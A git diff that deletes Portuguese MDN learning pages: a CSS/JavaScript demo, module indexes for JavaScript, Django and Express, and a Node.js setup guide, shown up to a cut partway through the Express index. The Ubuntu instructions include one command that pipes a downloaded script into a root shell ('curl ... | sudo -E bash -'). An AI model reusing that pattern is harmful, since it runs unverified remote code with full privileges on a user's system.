diff --git a/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html deleted file mode 100644 index c45af40a6a..0000000000 --- a/files/pt-pt/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ /dev/null @@ -1,161 +0,0 @@ ---- -title: JavaScript -slug: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -tags: - - CSS:Como_começar -translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents -translation_of_original: Web/Guide/CSS/Getting_started/JavaScript -original_slug: Web/CSS/Como_começar/JavaScript ---- -

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

- -

Esta é a Parte II do tutorial. A Parte II contém alguns exemplos que mostram o escopo do CSS no Mozilla.

- -

Cada página na Parte II ilustra como o CSS interage com algumas outras tecnologias. Estas páginas não são desenhadas para ensinar como usar estas outras tecnologias. Vá para outros tutorias para aprender isto em detalhes.

- -

Em vez disso, estas páginas são desenhadas para ilustrar os muitos usos do CSS. Para usar estas páginas, você deve ter um conhecimento em CSS, mas você não precisa qualquer conhecimento em outras tecnologias.

- -

Informação: JavaScript

- -

JavaScript é uma linguagem de programação. Quando você usa alguma aplicação Mozilla (por exemplo, seu naverador Mozilla) muito do código que o seu computador roda é escrito em JavaScript.

- -

JavaScript pode interagir com folhas de estilo, permitindo a você escrever programas que mudem o estilo do documento dinamicamente.

- -

Existem três maneiras para fazer isto:

- -
    -
  • Trabalhando com uma lista de folhas de estilo no documento — por exemplo: adicionando, removendo ou modificando uma folha de estilo.
  • -
  • Trabalhando com as regras de uma folha de estilo — por exemplo: adicionando, removendo ou modificando uma regra.
  • -
  • Trabalhando com um elemento individual no DOM — modificando seu estilo independentemente da folha de estilo do seu documento.
  • -
- - - - - - - - -
Mais detalhes
Para mais informações sobre JavaScript no Mozilla, veja a página JavaScript neste wiki.
- -

Ação: Uma demonstração de JavaScript

- -

Criei um novo documento HTML, doc5.html. Copie e cole o conteúdo daqui, tendo certeza de ter rolado a tela e pego tudo isto:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-
-<HEAD>
-<TITLE>Como Começar Mozilla CSS - Demonstração JavaScript</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style5.css">
-<SCRIPT type="text/javascript" src="script5.js"></SCRIPT>
-</HEAD>
-
-<BODY>
-<H1>JavaScript de amostra</H1>
-
-<DIV id="square"></DIV>
-
-<BUTTON type="button" onclick="doDemo(this);">Clique Aqui</BUTTON>
-
-</BODY>
-</HTML>
-
-
- -

Crie um novo arquivo CSS, style5.css. Copie e cole o conteúdo daqui:

- -
-
/*** Demonstração JavaScript ***/
-#square {
-  width: 20em;
-  height: 20em;
-  border: 2px inset gray;
-  margin-bottom: 1em;
-  }
-
-button {
-  padding: .5em 2em;
-  }
-
-
- -

Crie um novo arquivo de texo, script5.js. Copie e cole o conteúdo daqui:

- -
-
// Demonstração JavaScript
-function doDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "#fa4"
-  button.setAttribute("disabled", "true")
-  setTimeout(clearDemo, 2000, button)
-  }
-
-function clearDemo (button) {
-  var square = document.getElementById("square")
-  square.style.backgroundColor = "transparent"
-  button.removeAttribute("disabled")
-  }
-
-
- -

Abra o documento no seu navegador e pressione o botão.

- -

Este wiki não suporta o JavaScript nas páginas, então não é possível mostrar a demonstração aqui. Deve se parecer como isto, antes e depois de você pressionar o botão:

- - - - - - - - -
- - - - - - -
-

Demonstração JavaScript

-
-
- - - - - - -
-

Demonstração JavaScript

-
-
- -

Notas sobre esta demonstração:

- -
    -
  • O documento HTML é ligado à folha de estilo normalmente, e também é ligado ao script.
  • -
  • O script trabalha com elementos individuais no DOM. Isto modifica o estilo dos quadrados diretamente, porém, modifica o estilo do botão indiretamente mudando um atributo.
  • -
  • Em JavaScript, document.getElementById("square") é similar em função ao seletor CSS #square.
  • -
  • Em JavaScript, backgroundColor corresponde à propriedade background-color do CSS.
  • -
  • Seu navegador tem uma regra construída das CSS para button{{ mediawiki.external('disabled=\"true\"') }} que muda a aparência do botão quando ele está desabilitado.
  • -
- - - - - - - - -
Desafio
Mude o script de modo que o quadrado salte para a direita em 20 em quando sua cor mudar, e salte para trás mais tarde.
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Nesta demonstração, o documento HTML linka o script mesmo que somente o elemento button use o script. Mozilla extende o CSS para que possa ser ligado ao código JavaScript (e também conteúdo e outras folhas de estilo) para elementos selecionados. A próxima página demonstra isto: XBL bindings

- -

{{ PreviousNext("CSS:Como começar:Mídia", "CSS:Como começar:XBL bindings") }}

diff --git a/files/pt-pt/learn/javascript/first_steps/index.html b/files/pt-pt/learn/javascript/first_steps/index.html deleted file mode 100644 index 686bc9d07d..0000000000 --- a/files/pt-pt/learn/javascript/first_steps/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: JavaScript - Os Primeiros Passos -slug: Learn/JavaScript/First_steps -tags: - - Artigo - - Avaliação - - Guía - - JavaScript - - Numeros - - Operadores - - Principiante - - Variáveis - - l10n:priority - - modulo - - strings -translation_of: Learn/JavaScript/First_steps -original_slug: Learn/JavaScript/Primeiros_passos ---- -
{{LearnSidebar}}
- -

In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key building blocks in detail, such as variables, strings, numbers and arrays.

- -

Pré-requisitos

- -

Before starting this module, you don't need any previous JavaScript knowledge, but you should have some familiarity with HTML and CSS. You are advised to work through the following modules before starting on JavaScript:

- - - -
-

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin or Thimble.

-
- -

Guias

- -
-
O que é o JavaScript?
-
Welcome to the MDN beginner's JavaScript course! In this first article we will look at JavaScript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with JavaScript's purpose.
-
A first splash into JavaScript
-
Now you've learned something about the theory of JavaScript, and what you can do with it, we are going to give you a crash course in the basic features of JavaScript via a completely practical tutorial. Here you'll build up a simple "Guess the number" game, step by step.
-
What went wrong? Troubleshooting JavaScript
-
When you built up the "Guess the number" game in the previous article, you may have found that it didn't work. Never fear — this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in JavaScript programs.
-
Storing the information you need — Variables
-
After reading the last couple of articles you should now know what JavaScript is, what it can do for you, how you use it alongside other web technologies, and what its main features look like from a high level. In this article we will get down to the real basics, looking at how to work with most basic building blocks of JavaScript — Variables.
-
Basic math in JavaScript — numbers and operators
-
At this point in the course we discuss maths in JavaScript — how we can combine operators and other features to successfully manipulate numbers to do our bidding.
-
Handling text — strings in JavaScript
-
Next we'll turn our attention to strings — this is what pieces of text are called in programming. In this article we'll look at all the common things that you really ought to know about strings when learning JavaScript, such as creating strings, escaping quotes in string, and joining them together.
-
Useful string methods
-
Now we've looked at the very basics of strings, let's move up a gear and start thinking about what useful operations we can do on strings with built-in methods, such as finding the length of a text string, joining and splitting strings, substituting one character in a string for another, and more.
-
Arrays
-
In the final article of this module, we'll look at arrays — a neat way of storing a list of data items under a single variable name. Here we look at why this is useful, then explore how to create an array, retrieve, add, and remove items stored in an array, and more besides.
-
- -

Avaliações

- -

The following assessment will test your understanding of the JavaScript basics covered in the guides above.

- -
-
Silly story generator
-
In this assessment you'll be tasked with taking some of the knowledge you've picked up in this module's articles and applying it to creating a fun app that generates random silly stories. Have fun!
-
- -
- - - - - -
diff --git a/files/pt-pt/learn/javascript/index.html b/files/pt-pt/learn/javascript/index.html deleted file mode 100644 index ecaa2d6fad..0000000000 --- a/files/pt-pt/learn/javascript/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: JavaScript -slug: Learn/JavaScript -tags: - - CodingScripting - - JavaScript - - Landing - - Principiante - - Tópico - - 'l10n:priority' - - modulo -translation_of: Learn/JavaScript ---- -
{{LearnSidebar}}
- -

{{Glossary("JavaScript")}} is a programming language that allows you to implement complex things on web pages. Every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, or interactive maps, or animated 2D/3D graphics, or scrolling video jukeboxes, and so on — you can bet that JavaScript is probably involved.

- -

Caminho de aprendizagem

- -

JavaScript is arguably more difficult to learn than related technologies such as HTML and CSS. Before attempting to learn JavaScript, you are strongly advised to get familiar with at least these two technologies first, and perhaps others as well. Start by working through the following modules:

- - - -

Having previous experience with other programming languages might also help.

- -

After getting familiar with the basics of JavaScript, you should be in a position to learn about more advanced topics, for example:

- - - -

Módulos

- -

This topic contains the following modules, in a suggested order for working through them.

- -
-
JavaScript first steps
-
In our first JavaScript module, we first answer some fundamental questions such as "what is JavaScript?", "what does it look like?", and "what can it do?", before moving on to taking you through your first practical experience of writing JavaScript. After that, we discuss some key JavaScript features in detail, such as variables, strings, numbers and arrays.
-
JavaScript building blocks
-
In this module, we continue our coverage of all JavaScript's key fundamental features, turning our attention to commonly-encountered types of code block such as conditional statements, loops, functions, and events. You've seen this stuff already in the course, but only in passing — here we'll discuss it all explicitly.
-
Introducing JavaScript objects
-
In JavaScript, most things are objects, from core JavaScript features like strings and arrays to the browser APIs built on top of JavaScript. You can even create your own objects to encapsulate related functions and variables into efficient packages. The object-oriented nature of JavaScript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you. Here we teach object theory and syntax in detail, look at how to create your own objects, and explain what JSON data is and how to work with it.
-
Client-side web APIs
-
When writing client-side JavaScript for web sites or applications, you won't go very far before you start to use APIs — interfaces for manipulating different aspects of the browser and operating system the site is running on, or even data from other web sites or services. In this module we will explore what APIs are, and how to use some of the most common APIs you'll come across often in your development work. 
-
- -

Resolver problemas  comuns de JavaScript

- -

Use JavaScript to solve common problems provides links to sections of content explaining how to use JavaScript to solve very common problems when creating a webpage.

- -

Consulte também:

- -
-
JavaScript on MDN
-
The main entry point for core JavaScript documentation on MDN — this is where you'll find extensive reference docs on all aspects of the JavaScript language, and some advanced tutorials aimed at experienced JavaScripters.
-
Coding math
-
An excellent series of video tutorials to teach the math you need to understand to be an effective programmer, by Keith Peters.
-
diff --git a/files/pt-pt/learn/server-side/django/index.html b/files/pt-pt/learn/server-side/django/index.html deleted file mode 100644 index fb11f153e5..0000000000 --- a/files/pt-pt/learn/server-side/django/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Framework da Web Django (Python) -slug: Learn/Server-side/Django -tags: - - Aprender - - CodingScripting - - Introdução - - Principiante - - Programação no lado do servidor - - Python - - django -translation_of: Learn/Server-side/Django -original_slug: Learn/No-servidor/Django ---- -
{{LearnSidebar}}
- -

Django é uma framework da web do lado do servidor extremamente popular e cheia de recursos, escrita em Python. O módulo mostra-lhe porque Django é uma das frameworks mais populares de servidor da web, como configurar um ambiente de desenvolvimento, e como começar a utilizá-lo para criar as suas próprias aplicações da web.

- -

Pré-requisitos

- -

Before starting this module you don't need to have any knowledge of Django. Ideally, you would need to understand what server-side web programming and web frameworks are by reading the topics in our Server-side website programming first steps module.

- -

A general knowledge of programming concepts and Python is recommended, but is not essential to understanding the core concepts.

- -
-

Nota: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better, there are numerous free books and tutorials available on the Internet to help you out. (new programmers might want to check out the Python for Non Programmers page on the python.org wiki).

-
- -

Guias

- -
-
Django introduction
-
In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you set it up and start playing.
-
Setting up a Django development environment
-
Now that you know what Django is for, we'll show you how to setup and test a Django development environment on Windows, Linux (Ubuntu), and Mac OS X — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.
-
Django Tutorial: The Local Library website
-
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" — an example website we'll be working through and evolving in subsequent articles.
-
Django Tutorial Part 2: Creating a skeleton website
-
This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.
-
Django Tutorial Part 3: Using models
-
This article shows how to define models for the LocalLibrary website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.
-
Django Tutorial Part 4: Django admin site
-
Now that we've created models for the LocalLibrary website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some ways in which you can further improve the presentation of the admin site.
-
Django Tutorial Part 5: Creating our home page
-
We're now ready to add the code to display our first full page — a home page for the LocalLibrary that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.
-
Django Tutorial Part 6: Generic list and detail views
-
This tutorial extends our LocalLibrary website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.
-
Django Tutorial Part 7: Sessions framework
-
This tutorial extends our LocalLibrary website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does show how you can use the session framework to provide persistent behaviour for anonymous users in your own sites.
-
Django Tutorial Part 8: User authentication and permissions
-
In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their permissions. As part of this demonstration we'll extend the LocalLibrary website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.
-
Django Tutorial Part 9: Working with forms
-
In this tutorial we'll show you how to work with HTML Forms in Django, and in particular the easiest way to write forms to create, update, and delete model instances. As part of this demonstration we'll extend the LocalLibrary website so that librarians can renew books, and create, update, and delete authors using our own forms (rather than using the admin application).
-
Django Tutorial Part 10: Testing a Django web application
-
As websites grow they become harder to test manually — not only is there more to test, but, as the interactions between components become more complex, a small change in one area can require many additional tests to verify its impact on other areas. One way to mitigate these problems is to write automated tests, which can easily and reliably be run every time you make a change. This tutorial shows how to automate unit testing of your website using Django's test framework.
-
Django Tutorial Part 11: Deploying Django to production
-
Now you've created (and tested) an awesome LocalLibrary website, you're going to want to install it on a public web server so that it can be accessed by library staff and members over the Internet. This article provides an overview of how you might go about finding a host to deploy your website, and what you need to do in order to get your site ready for production.
-
Django web application security
-
Protecting user data is an essential part of any website design. We previously explained some of the more common security threats in the article Web security — this article provides a practical demonstration of how Django's in-built protections handle such threats.
-
- -

Avaliações

- -

The following assessment will test your understanding of how to create a website using Django, as described in the guides listed above.

- -
-
DIY Django mini blog
-
In this assessment you'll use some of the knowledge you've learned from this module to create your own blog.
-
diff --git a/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html b/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html deleted file mode 100644 index 913c38f450..0000000000 --- a/files/pt-pt/learn/server-side/express_nodejs/development_environment/index.html +++ /dev/null @@ -1,407 +0,0 @@ ---- -title: Configurar um meio de desenvolvimento Node -slug: Learn/Server-side/Express_Nodejs/development_environment -tags: - - Ambiente de desenvolvimento - - Aprender - - CodingScripting - - Express - - Introdução - - Node - - Nodo - - Principiante - - lado do servidor - - nodejs - - npm -translation_of: Learn/Server-side/Express_Nodejs/development_environment -original_slug: Learn/No-servidor/Express_Nodejs/Configurar_um_meio_de_desenvolvimento_Node ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}
- -

Agora que sabe para que serve o Express, nós iremos mostrar-lhe como configurar e testar um ambiente de desenvolvimento Node/Express no Linux, (Ubuntu), macOS e Windows. Qualquer que seja o sistema operativo comum que esteja a utilizar, este artigo deverá fornecer-lhe o que precisa para começar a desenvolver aplicações Express.

- - - - - - - - - - - - -
Pré-requisitos:Know how to open a terminal / command line. Know how to install software packages on your development computer's operating system.
Objetivo:To set up a development environment for Express (X.XX) on your computer.
- -

Resumo do ambiente de desenvolvimento Express

- -

Node and Express make it very easy to set up your computer in order to start developing web applications. This section provides an overview of what tools are needed, explains some of the simplest methods for installing Node (and Express) on Ubuntu, macOS, and Windows, and shows how you can test your installation.

- -

O que é o ambiente de desenvolvimento Express?

- -

The Express development environment includes an installation of Nodejs, the NPM package manager, and (optionally) the Express Application Generator on your local computer.

- -

Node and the NPM package manager are installed together from prepared binary packages, installers, operating system package managers or from source (as shown in the following sections). Express is then installed by NPM as a dependency of your individual Express web applications (along with other libraries like template engines, database drivers, authentication middleware, middleware to serve static files, etc.)

- -

NPM can also be used to (globally) install the Express Application Generator, a handy tool for creating skeleton Express web apps that follow the MVC pattern. The application generator is optional because you don't need to use this tool to create apps that use Express, or construct Express apps that have the same architectural layout or dependencies. We'll be using it though, because it makes getting started a lot easier, and promotes a modular application structure.

- -
-

Nota: Unlike for some other web frameworks, the development environment does not include a separate development web server. In Node/Express a web application creates and runs its own web server!

-
- -

There are other peripheral tools that are part of a typical development environment, including text editors or IDEs for editing code, and source control management tools like Git for safely managing different versions of your code. We are assuming that you've already got these sorts of tools installed (in particular a text editor).

- -

Quais são os sistemas operativos suportados?

- -

Node can be run on Windows, macOS, many "flavours" of Linux, Docker, etc. (there is a full list on the nodejs Downloads page). Almost any personal computer should have the necessary performance to run Node during development. Express is run in a Node environment, and hence can run on any platform that runs Node.

- -

In this article we provide setup instructions for Windows, macOS, and Ubuntu Linux.

- -

Que versão de Node/Express deverei utilizar?

- -

There are many releases of Node — newer releases contain bug fixes, support for more recent versions of ECMAScript (JavaScript) standards, and improvements to the Node APIs. 

- -

Generally you should use the most recent LTS (long-term supported) release as this will be more stable than the "current" release while still having relatively recent features (and is still being actively maintained). You should use the Current release if you need a feature that is not present in the LTS version.

- -

For Express you should always use the latest version.

- -

E as bases de dados e outras dependências?

- -

Other dependencies, such as database drivers, template engines, authentication engines, etc. are part of the application, and are imported into the application environment using the NPM package manager.  We'll discuss them in later app-specific articles.

- -

Instalação de Node

- -

In order to use Express you will first have to install Nodejs and the Node Package Manager (NPM) on your operating system. The following sections explain the easiest way to install the Long Term Supported (LTS) version of Nodejs on Ubuntu Linux 16.04, macOS, and Windows 10.

- -
-

Dica: The sections below show the easiest way to install Node and NPM on our target OS platforms. If you're using another OS or just want to see some of the other approaches for the current platforms then see Installing Node.js via package manager (nodejs.org).

-
- -

macOS e Windows

- -

Installing Node and NPM on Windows and macOS is straightforward because you can just use the provided installer:

- -
    -
  1. Download the required installer: -
      -
    1. Go to https://nodejs.org/en/
    2. -
    3. Select the button to download the LTS build that is "Recommended for most users".
    4. -
    -
  2. -
  3. Install Node by double-clicking on the downloaded file and following the installation prompts.
  4. -
- -

Ubuntu 16.04

- -

The easiest way to install the most recent LTS version of Node 6.x is to use the package manager to get it from the Ubuntu binary distributions repository. This can be done very simply by running the following two commands on your terminal:

- -
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
-sudo apt-get install -y nodejs
-
- -
-

Aviso: Don't install directly from the normal Ubuntu repositories because they contain very old versions of node.

-
- -
    -
- -

Testar a instalação do seu Nodejs e NPM

- -

The easiest way to test that node is installed is to run the "version" command in your terminal/command prompt and check that a version string is returned:

- -
>node -v
-v8.11.3
- -

The Nodejs package manager NPM should also have been installed, and can be tested in the same way:

- -
>npm -v
-5.8.0
- -

As a slightly more exciting test let's create a very basic "pure node" server that simply prints out "Hello World" in the browser when you visit the correct URL in your browser:

- -
    -
  1. Copy the following text into a file named hellonode.js. This uses pure Node features (nothing from Express) and some ES6 syntax: - -
    //Load HTTP module
    -const http = require("http");
    -const hostname = '127.0.0.1';
    -const port = 3000;
    -
    -//Create HTTP server and listen on port 3000 for requests
    -const server = http.createServer((req, res) => {
    -
    -  //Set the response HTTP header with HTTP status and Content type
    -  res.statusCode = 200;
    -  res.setHeader('Content-Type', 'text/plain');
    -  res.end('Hello World\n');
    -});
    -
    -//listen for request on port 3000, and as a callback function have the port listened on logged
    -server.listen(port, hostname, () => {
    -  console.log(`Server running at http://${hostname}:${port}/`);
    -});
    -
    -
    - -

    The code imports the "http" module and uses it to create a server (createServer()) that listens for HTTP requests on port 3000. The script then prints a message to the console about what browser URL you can use to test the server. The createServer() function takes as an argument a callback function that will be invoked when an HTTP request is received — this simply returns a response with an HTTP status code of 200 ("OK") and the plain text "Hello World".

    - -
    -

    Nota:  Don't worry if you don't understand exactly what this code is doing yet! We'll explain our code in greater detail once we start using Express!

    -
    -
  2. -
  3. Start the server by navigating into the same directory as your hellonode.js file in your command prompt, and calling node along with the script name, like so: -
    >node hellonode.js
    -Server running at http://127.0.0.1:3000/
    -
    -
  4. -
  5. Navigate to the URL http://127.0.0.1:3000 . If everything is working, the browser should simply display the string "Hello World".
  6. -
- -

Utilização de NPM

- -

Next to Node itself, NPM is the most important tool for working with Node applications. NPM is used to fetch any packages (JavaScript libraries) that an application needs for development, testing, and/or production, and may also be used to run tests and tools used in the development process. 

- -
-

Nota: From Node's perspective, Express is just another package that you need to install using NPM and then require in your own code.

-
- -

You can manually use NPM to separately fetch each needed package. Typically we instead manage dependencies using a plain-text definition file named package.json. This file lists all the dependencies for a specific JavaScript "package", including the package's name, version, description, initial file to execute, production dependencies, development dependencies, versions of Node it can work with, etc. The package.json file should contain everything NPM needs to fetch and run your application (if you were writing a reusable library you could use this definition to upload your package to the npm respository and make it available for other users).

- -

Adicionar dependências

- -

The following steps show how you can use NPM to download a package, save it into the project dependencies, and then require it in a Node application.

- -
-

Nota: Here we show the instructions to fetch and install the Express package. Later on we'll show how this package, and others, are already specified for us using the Express Application Generator. This section is provided because it is useful to understand how NPM works and what is being created by the application generator.

-
- -
    -
  1. First create a directory for your new application and navigate into it: -
    mkdir myapp
    -cd myapp
    -
  2. -
  3. Use the npm init command to create a package.json file for your application. This command prompts you for a number of things, including the name and version of your application and the name of the initial entry point file (by default this is index.js). For now, just accept the defaults: -
    npm init
    - -

    If you display the package.json file (cat package.json), you will see the defaults that you accepted, ending with the license.

    - -
    {
    -  "name": "myapp",
    -  "version": "1.0.0",
    -  "description": "",
    -  "main": "index.js",
    -  "scripts": {
    -    "test": "echo \"Error: no test specified\" && exit 1"
    -  },
    -  "author": "",
    -  "license": "ISC"
    -}
    -
    -
  4. -
  5. Now install Express in the myapp directory and save it in the dependencies list of your package.json file
  6. -
  7. -
    npm install express --save
    - -

    The dependencies section of your package.json will now appear at the end of the package.json file and will include Express.

    - -
    {
    -  "name": "myapp",
    -  "version": "1.0.0",
    -  "description": "",
    -  "main": "index.js",
    -  "scripts": {
    -    "test": "echo \"Error: no test specified\" && exit 1"
    -  },
    -  "author": "",
    -  "license": "ISC",
    -  "dependencies": {
    -    "express": "^4.16.2"
    -  }
    -}
    -
    -
  8. -
  9. To use the library you call the require() function as shown below. -
    const express = require('express')
    -const app = express();
    -
    -app.get('/', (req, res) => {
    -  res.send('Hello World!')
    -});
    -
    -app.listen(8000, () => {
    -  console.log('Example app listening on port 8000!')
    -});
    -
    - -

    This code shows a minimal "HelloWorld" Express web application. This imports the "express" module and uses it to create a server (app) that listens for HTTP requests on port 8000 and prints a message to the console explaining what browser URL you can use to test the server. The app.get() function only responds to HTTP GET requests with the specified URL path ('/'), in this case by calling a function to send our Hello World! message. 
    -
    - Create a file named index.js in the root of the "myapp" application directory and give it the contents shown above.

    -
  10. -
  11. You can start the server by calling node with the script in your command prompt: -
    >node index.js
    -Example app listening on port 8000
    -
    -
  12. -
  13. Navigate to the URL (http://127.0.0.1:8000/). If everything is working, the browser should simply display the string "Hello World!".
  14. -
- -

Dependências de desenvolvimento

- -

If a dependency is only used during development, you should instead save it as a "development dependency" (so that your package users don't have to install it in production). For example, to use the popular JavaScript Linting tool eslint you would call NPM as shown:

- -
npm install eslint --save-dev
- -

The following entry would then be added to your application's package.json:

- -
  "devDependencies": {
-    "eslint": "^4.12.1"
-  }
-
- -
-

Nota: "Linters" are tools that perform static analysis on software in order to recognise and report adherence/non-adherance to some set of coding best practice.

-
- -

Execução de tarefas

- -

In addition to defining and fetching dependencies you can also define named scripts in your package.json files and call NPM to execute them with the run-script command. This approach is commonly used to automate running tests and parts of the development or build toolchain (e.g., running tools to minify JavaScript, shrink images, LINT/analyse your code, etc).

- -
-

Nota: Task runners like Gulp and Grunt can also be used to run tests and other external tools.

-
- -

For example, to define a script to run the eslint development dependency that we specified in the previous section we might add the following script block to our package.json file (assuming that our application source is in a folder /src/js):

- -
"scripts": {
-  ...
-  "lint": "eslint src/js"
-  ...
-}
-
- -

To explain a little further, eslint src/js is a command that we could enter in our terminal/command line to run eslint on JavaScript files contained in the src/js directory inside our app directory. Including the above inside our app's package.json file provides a shortcut for this command — lint.

- -

We would then be able to run eslint using NPM by calling:

- -
npm run-script lint
-# OR (using the alias)
-npm run lint
-
- -

This example may not look any shorter than the original command, but you can include much bigger commands inside your npm scripts, including chains of multiple commands. You could identify a single npm script that runs all your tests at once.

- -

Instalar o Gerador de Aplicação Express

- -

The Express Application Generator tool generates an Express application "skeleton". Install the generator using NPM as shown (the -g flag installs the tool globally so that you can call it from anywhere):

- -
npm install express-generator -g
- -

To create an Express app named "helloworld" with the default settings, navigate to where you want to create it and run the app as shown:

- -
express helloworld
- -
-

Nota: You can also specify the template library to use and a number of other settings. Use the help command to see all the options:

- -
express --help
-
- -

 

-
- -

NPM will create the new Express app in a sub folder of your current location, displaying build progress on the console. On completion, the tool will display the commands you need to enter to install the Node dependencies and start the app.

- -
-

The new app will have a package.json file in its root directory. You can open this to see what dependencies are installed, including Express and the template library Jade:

- -
{
-  "name": "helloworld",
-  "version": "0.0.0",
-  "private": true,
-  "scripts": {
-    "start": "node ./bin/www"
-  },
-  "dependencies": {
-    "body-parser": "~1.18.2",
-    "cookie-parser": "~1.4.3",
-    "debug": "~2.6.9",
-    "express": "~4.15.5",
-    "jade": "~1.11.0",
-    "morgan": "~1.9.0",
-    "serve-favicon": "~2.4.5"
-  }
-}
- -

 

-
- -

Install all the dependencies for the helloworld app using NPM as shown:

- -
cd helloworld
-npm install
-
- -

Then run the app (the commands are slightly different for Windows and Linux/macOS), as shown below:

- -
# Run the helloworld on Windows
-SET DEBUG=helloworld:* & npm start
-
-# Run helloworld on Linux/macOS
-DEBUG=helloworld:* npm start
-
- -

The DEBUG command creates useful logging, resulting in an output like that shown below.

- -
>SET DEBUG=helloworld:* & npm start
-
-> helloworld@0.0.0 start D:\Github\expresstests\helloworld
-> node ./bin/www
-
-  helloworld:server Listening on port 3000 +0ms
- -

Open a browser and navigate to http://127.0.0.1:3000/ to see the default Express welcome page.

- -

Express - Generated App Default Screen

- -

We'll talk more about the generated app when we get to the article on generating a skeleton application.

- -
    -
- -

Resumo

- -

You now have a Node development environment up and running on your computer that can be used for creating Express web applications. You've also seen how NPM can be used to import Express into an application, and also how you can create applications using the Express Application Generator tool and then run them.

- -

In the next article we start working through a tutorial to build a complete web application using this environment and associated tools.

- -

Consulte também

- - - -

{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Introduction", "Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs")}}

- -

 

- -

Neste módulop

- - - -

 

diff --git a/files/pt-pt/learn/server-side/express_nodejs/index.html b/files/pt-pt/learn/server-side/express_nodejs/index.html deleted file mode 100644 index 73e8f51f35..0000000000 --- a/files/pt-pt/learn/server-side/express_nodejs/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Framework da Web Express (Node.js/JavaScript) -slug: Learn/Server-side/Express_Nodejs -tags: - - Aprender - - CodingScripting - - Express - - Express.js - - Introdução - - JavaScript - - Node - - Nodo - - Principiante - - Programação no lado do servidor - - node.js -translation_of: Learn/Server-side/Express_Nodejs -original_slug: Learn/No-servidor/Express_Nodejs ---- -
{{LearnSidebar}}
- -

Express é uma das frameworks mais populares, escrita em JavaScript e hospedada dentro do próprio ambiente de execução node.js. Este módulo explica alguns dos benefícios chave desta framework, como configurar o seu ambiente de desenvolvimento e como realizar tarefas comuns de desenvolvimento da web e tarefas de implementação.

- -

Pré-requisitos

- -

Antes de iniciar este módulo, você precisará entender o que são os programas da web e do lado do servidor, idealmente lendo os tópicos no nosso módulo Os primeiros passos de programação do sites da Web no lado do servidor. Um conhecimento geral de conceitos de programação e JavaScript é altamente recomendado, mas não essencial para compreender os conceitos fundamentais.

- -
-

Nota: This website has many useful resources for learning JavaScript in the context of client-side development: JavaScriptJavaScript Guide, JavaScript BasicsJavaScript (learning). The core JavaScript language and concepts are the same for server-side development on Node.js and this material will be relevant. Node.js offers additional APIs for supporting functionality that is useful in browserless environments, e.g. to create HTTP servers and access the file system, but does not support JavaScript APIs for working with the browser and DOM.

- -

This guide will provide some information about working with Node.js and Express, and there are numerous other excellent resources on the Internet and in books — some of these linked from How do I get started with Node.js (StackOverflow) and What are the best resources for learning Node.js? (Quora).

-
- -

Guias

- -
-
Introdução a Express/Node
-
In this first Express article we answer the questions "What is Node?" and "What is Express?" and give you an overview of what makes the Express web framework special. We'll outline the main features, and show you some of the main building blocks of an Express application (although at this point you won't yet have a development environment in which to test it).
-
Configurar um ambiente de desenvolvimento Node (Express)
-
Now that you know what Express is for, we'll show you how to set up and test a Node/Express development environment on Windows, Linux (Ubuntu), and Mac OS X. Whatever common operating system you are using, this article should give you what you need to be able to start developing Express apps.
-
Tutorial de Express: O Website - Biblioteca Local
-
The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" example website we'll be working through and evolving in subsequent articles.
-
Tutorial de Express Parte 2: Criar um esqueleto de um website
-
